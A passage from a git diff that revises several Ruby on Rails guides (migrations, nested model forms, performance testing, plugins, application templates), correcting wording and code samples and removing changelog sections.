+create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example +By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example, <ruby> create_table :products, :options => "ENGINE=BLACKHOLE" do |t| @@ -259,19 +286,7 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t| end </ruby> -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). - -The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+. - -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example - -<ruby> -create_table :products do |t| - t.column :name, 'polygon', :null => false -end -</ruby> - -This may however hinder portability to other databases. +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+). h4. Changing Tables @@ -285,6 +300,7 @@ change_table :products do |t| t.rename :upccode, :upc_code end </ruby> + removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing <ruby> @@ -332,11 +348,11 @@ end </ruby> will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. +If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). h4. Writing Your +change+ Method @@ -344,7 +360,7 @@ The +change+ method removes the need to write both +up+ and +down+ methods in th * +add_column+ * +add_index+ -* +add_timestamp+ +* +add_timestamps+ * +create_table+ * +remove_timestamps+ * +rename_column+ @@ -355,7 +371,7 @@ If you're going to use other methods, you'll have to write the +up+ and +down+ m h4. Writing Your +down+ Method -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example +The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example, <ruby> class ExampleMigration < ActiveRecord::Migration @@ -386,22 +402,22 @@ class ExampleMigration < ActiveRecord::Migration end </ruby> -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done. +Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done. h3. Running Migrations -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. +Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits. Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run +version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run <shell> $ rake db:migrate VERSION=20080906120000 </shell> -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. +If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000. h4. Rolling Back @@ -419,13 +435,13 @@ $ rake db:rollback STEP=3 will run the +down+ method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example <shell> $ rake db:migrate:redo STEP=3 </shell> -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. +Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. @@ -433,7 +449,7 @@ NOTE: This is not the same as running all the migrations - see the section on "s h4. Being Specific -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example +If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example, <shell> $ rake db:migrate:up VERSION=20080906120000 @@ -456,8 +472,8 @@ By default migrations tell you exactly what they're doing and how long it took. Several methods are provided that allow you to control all this: -* +suppress_messages+ suppresses any output generated by its block -* +say+ outputs text (the second argument controls whether it is indented or not) +* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block. +* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. * +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. For example, this migration @@ -495,41 +511,108 @@ generates the following output 20080906170109 CreateProducts: migrated (10.0097s) </shell> -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. +If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output. h3. Using Models in Your Migrations -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. +When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. -Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist. +For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration. -Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example: +Consider this example, where Alice and Bob are working on the same code base which contains a +Product+ model: + +Bob goes on vacation. + +Alice creates a migration for the +products+ table which adds a new column and initializes it. +She also adds a validation to the +Product+ model for the new column. <ruby> -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base +# db/migrate/20100513121110_add_flag_to_product.rb + +class AddFlagToProduct < ActiveRecord::Migration + def change + add_column :products, :flag, :int + Product.all.each { |f| f.update_attributes!(:flag => 'false') } end +end +</ruby> +<ruby> +# app/model/product.rb + +class Product < ActiveRecord::Base + validates :flag, :presence => true +end +</ruby> + +Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column. + +<ruby> +# db/migrate/20100515121110_add_fuzz_to_product.rb + +class AddFuzzToProduct < ActiveRecord::Migration def change - ... + add_column :products, :fuzz, :string + Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end </ruby> -The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application. -h4. Dealing with Changing Models +<ruby> +# app/model/product.rb + +class Product < ActiveRecord::Base + validates :flag, :fuzz, :presence => true +end +</ruby> + +Both migrations work for Alice. + +Bob comes back from vacation and: + +# updates the source - which contains both migrations and the latests version of the Product model. +# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model. + +The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs: + +<plain> +rake aborted! +An error has occurred, this and all later migrations canceled: + +undefined method `fuzz' for #<Product:0x000001049b14a0> +</plain> -For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try to use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example +A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion. + +When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database. + +If Alice had done this instead, there would have been no problem: <ruby> -class AddPartNumberToProducts < ActiveRecord::Migration +# db/migrate/20100513121110_add_flag_to_product.rb + +class AddFlagToProduct < ActiveRecord::Migration class Product < ActiveRecord::Base end def change - add_column :product, :part_number, :string + add_column :products, :flag, :int Product.reset_column_information - ... + Product.all.each { |f| f.update_attributes!(:flag => false) } + end +end +</ruby> + +<ruby> +# db/migrate/20100515121110_add_fuzz_to_product.rb + +class AddFuzzToProduct < ActiveRecord::Migration + class Product < ActiveRecord::Base + end + def change + add_column :products, :fuzz, :string + Product.reset_column_information + Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end </ruby> @@ -545,7 +628,7 @@ There is no need (and it is error prone) to deploy a new instance of an app by r For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest. +Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality. h4. Types of Schema Dumps @@ -571,13 +654,11 @@ ActiveRecord::Schema.define(:version => 20080906171750) do end </ruby> -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. +In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. +There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+. -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. +Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it. h4. Schema Dumps and Source Control @@ -587,12 +668,6 @@ h3. Active Record and Referential Integrity The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. +Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints. Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog - -* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com -* July 15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile index 55694c0eb4..4b1fd2e0ac 100644 --- a/railties/guides/source/nested_model_forms.textile +++ b/railties/guides/source/nested_model_forms.textile @@ -90,7 +90,7 @@ h3. Views h4. Controller code -A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. +A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template: @@ -144,7 +144,7 @@ Now add a nested form for the +address+ association: <%= f.text_field :name %> <%= f.fields_for :address do |af| %> - <%= f.text_field :street %> + <%= af.text_field :street %> <% end %> <% end %> </erb> @@ -159,7 +159,7 @@ This generates: </form> </html> -Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute. +Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute. When this form is posted the Rails parameter parser will construct a hash like the following: @@ -185,7 +185,7 @@ The form code for an association collection is pretty similar to that of a singl <%= f.text_field :name %> <%= f.fields_for :projects do |pf| %> - <%= f.text_field :name %> + <%= pf.text_field :name %> <% end %> <% end %> </erb> @@ -201,7 +201,7 @@ Which generates: </form> </html> -As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: +As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: <ruby> { @@ -215,7 +215,7 @@ As you can see it has generated 2 +project name+ inputs, one for each new +proje } </ruby> -You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance. +You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance. NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index 2b79237c59..f3ea7e38bc 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -66,7 +66,7 @@ resources :posts # home_controller.rb class HomeController < ApplicationController def dashboard - @users = User.last_ten(:include => :avatars) + @users = User.last_ten.includes(:avatars) @posts = Post.all_today end end @@ -151,7 +151,7 @@ Performance tests can be run in two modes: Benchmarking and Profiling. h5. Benchmarking -Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run +4 times+ in benchmarking mode. +Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run *4 times* in benchmarking mode. To run performance tests in benchmarking mode: @@ -161,7 +161,7 @@ $ rake test:benchmark h5. Profiling -Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run +1 time+ in profiling mode. +Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run *once* in profiling mode. To run performance tests in profiling mode: @@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case. h5. Metric Availability -h6. Benchmarking +h6(#benchmarking_1). Benchmarking |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | yes | no | yes | yes | yes | yes | @@ -215,7 +215,7 @@ h6. Benchmarking |_.Rubinius | yes | no | no | no | yes | yes | yes | yes | |_.JRuby | yes | no | no | yes | yes | yes | yes | yes | -h6. Profiling +h6(#profiling_1). Profiling |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | no | no | yes | yes | yes | yes | @@ -276,7 +276,7 @@ measurement,created_at,app,rails,ruby,platform h5(#output-profiling). Profiling -In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependant on the interpreter in use. A brief description of each type and their availability across interpreters is given below. +In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependent on the interpreter in use. A brief description of each type and their availability across interpreters is given below. h6. Command Line @@ -438,9 +438,9 @@ alias gcrails='~/rubygc/bin/rails' Don't forget to use your aliases from now on. -h6. Install Rubygems (1.8 only!) +h6. Install RubyGems (1.8 only!) -Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. +Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. h4. Using Ruby-Prof on MRI and REE @@ -481,7 +481,7 @@ h4. +profiler+ Usage: <shell> -Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS] +Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS] -r, --runs N Number of runs. Default: 1 -o, --output PATH Directory to use when writing the results. @@ -573,7 +573,7 @@ h3. Useful Links h4. Rails Plugins and Gems * "Rails Analyzer":http://rails-analyzer.rubyforge.org -* "Palmist":http://www.flyingmachinestudios.com/projects/ +* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist * "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master * "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master @@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform * "New Relic":http://www.newrelic.com * "Scout":http://scoutapp.com - -h3. Changelog - -* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com. -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index d486e8ade3..5cfd336d1e 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -25,33 +25,36 @@ endprologue. h3. Setup -h4. Generating the Plugin Skeleton +Before you continue, take a moment to decide if your new plugin will be potentially shared across different Rails applications. -Rails currently ships with a generator to generate a plugin within a Rails application. Help text is available that will explain -how this generator works. +* If your plugin is specific to your application, your new plugin will be a _vendored plugin_. +* If you think your plugin may be used across applications, build it as a _gemified plugin_. + +h4. Either generate a vendored plugin... + +Use the +rails generate plugin+ command in your Rails root directory + to create a new plugin that will live in the +vendor/plugins+ + directory. See usage and options by asking for help: <shell> $ rails generate plugin --help </shell> -This generator places the plugin into the vendor/plugins directory. +h4. Or generate a gemified plugin. -Vendored plugins are useful for quickly prototyping your plugin but current thinking in the Rails community is shifting towards -packaging plugins as gems, especially with the inclusion of Bundler as the Rails dependency manager. -Packaging a plugin as a gem may be overkill for any plugins that will not be shared across projects but doing so from the start makes it easier to share the plugin going forward without adding too much additional overhead during development. +Writing your Rails plugin as a gem, rather than as a vendored plugin, + lets you share your plugin across different rails applications using + RubyGems and Bundler. -Rails 3.1 will ship with a plugin generator that will default to setting up a plugin -as a gem. This tutorial will begin to bridge that gap by demonstrating how to create a gem based plugin using the -"Enginex gem":http://www.github.com/josevalim/enginex. +Rails 3.1 ships with a +rails plugin new+ command which creates a + skeleton for developing any kind of Rails extension with the ability + to run integration tests using a dummy Rails application. See usage + and options by asking for help: <shell> -$ gem install enginex -$ enginex --help -$ enginex yaffle +$ rails plugin --help </shell> -This command will create a new directory named "yaffle" within the current directory. - h3. Testing your newly generated plugin You can navigate to the directory that contains the plugin, run the +bundle install+ command @@ -83,7 +86,7 @@ class CoreExtTest < Test::Unit::TestCase end </ruby> -Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squak+ method: +Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method: <shell> 1) Error: @@ -215,8 +218,8 @@ test/dummy directory: <shell> $ cd test/dummy -$ rails generate model Hickwall last_squak:string -$ rails generate model Wickwall last_squak:string last_tweet:string +$ rails generate model Hickwall last_squawk:string +$ rails generate model Wickwall last_squawk:string last_tweet:string </shell> Now you can create the necessary database tables in your testing database by navigating to your dummy app @@ -287,7 +290,7 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun </shell> -Getting closer...now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. <ruby> # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -319,7 +322,7 @@ When you run +rake+ you should see the tests all pass: h4. Add an Instance Method -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' +This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. To start out, write a failing test that shows the behavior you'd like: @@ -344,7 +347,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase assert_equal "squawk! Hello World", hickwall.last_squawk end - def test_wickwalls_squawk_should_populate_last_tweeted_at + def test_wickwalls_squawk_should_populate_last_tweet wickwall = Wickwall.new wickwall.squawk("Hello World") assert_equal "squawk! Hello World", wickwall.last_tweet @@ -352,7 +355,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase end </ruby> -Run the test to make sure the last two tests fail the an error that contains "NoMethodError: undefined method `squawk'", +Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this: <ruby> @@ -383,13 +386,12 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle </ruby> Run +rake+ one final time and you should see: + <shell> 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips </shell> -NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can -interact with the model, and will not always be the right method to use. For example, you could also -use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+. +NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>. h3. Generators @@ -398,11 +400,11 @@ the creation of generators can be found in the "Generators Guide":generators.htm h3. Publishing your Gem -Gem plugins in progress can be easily be shared from any Git repository. To share the Yaffle gem with others, simply -commit the code to a Git repository (like Github) and add a line to the Gemfile of the any application: +Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply +commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question: <ruby> -gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' +gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' </ruby> After running +bundle install+, your gem functionality will be available to the application. @@ -424,11 +426,12 @@ require 'yaffle' </ruby> You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the -console we can check to see if the String has an instance method of to_squawk. +console we can check to see if the String has an instance method to_squawk: + <shell> $ cd my_app $ rails console -$ String.instance_methods.sort +$ "Rails plugins are easy!".to_squawk </shell> You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed. @@ -442,9 +445,9 @@ The first step is to update the README file with detailed information about how * Your name * How to install * How to add the functionality to the app (several examples of common use cases) -* Warning, gotchas or tips that might help save users time +* Warnings, gotchas or tips that might help users and save them time -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api. Once your comments are good to go, navigate to your plugin directory and run: @@ -459,11 +462,3 @@ h4. References * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - -h3. Changelog - -* March 10, 2011: Minor formatting tweaks. -* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere -for information that is covered elsewhere. -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 388d8eea3e..3b51a52733 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -1,6 +1,6 @@ h2. Rails Application Templates -Application templates are simple ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project. +Application templates are simple Ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project. By referring to this guide, you will be able to: @@ -11,22 +11,18 @@ endprologue. h3. Usage -To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option: +To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL. <shell> $ rails new blog -m ~/template.rb +$ rails new blog -m http://example.com/template.rb </shell> -It's also possible to apply a template using a URL: - -<shell> -$ rails new blog -m https://gist.github.com/755496.txt -</shell> - -Alternatively, you can use the rake task +rails:template+ to apply a template to an existing Rails application: +You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. <shell> $ rake rails:template LOCATION=~/template.rb +$ rake rails:template LOCATION=http://example.com/template.rb </shell> h3. Template API @@ -58,13 +54,23 @@ gem "bj" gem "nokogiri" </ruby> -Please note that this will NOT install the gems for you. So you may want to run the +rake gems:install+ task too: +Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that. <ruby> -rake "gems:install" +bundle install </ruby> -And let Rails take care of installing the required gems if they’re not already installed. +h4. gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. add_source(source, options = {}) @@ -154,7 +160,7 @@ The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task. h4. generate(what, args) -Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever I’m playing with Rails: +Runs the supplied rails generator with given arguments. <ruby> generate(:scaffold, "person", "name:string", "address:text", "age:number") @@ -182,12 +188,6 @@ You can also run rake tasks with a different Rails environment: rake "db:migrate", :env => 'production' </ruby> -Or even use sudo: - -<ruby> -rake "gems:install", :sudo => true -</ruby> - h4. route(routing_code) This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application: @@ -229,7 +229,7 @@ rake("rails:freeze:gems") if yes?("Freeze rails gems ?") 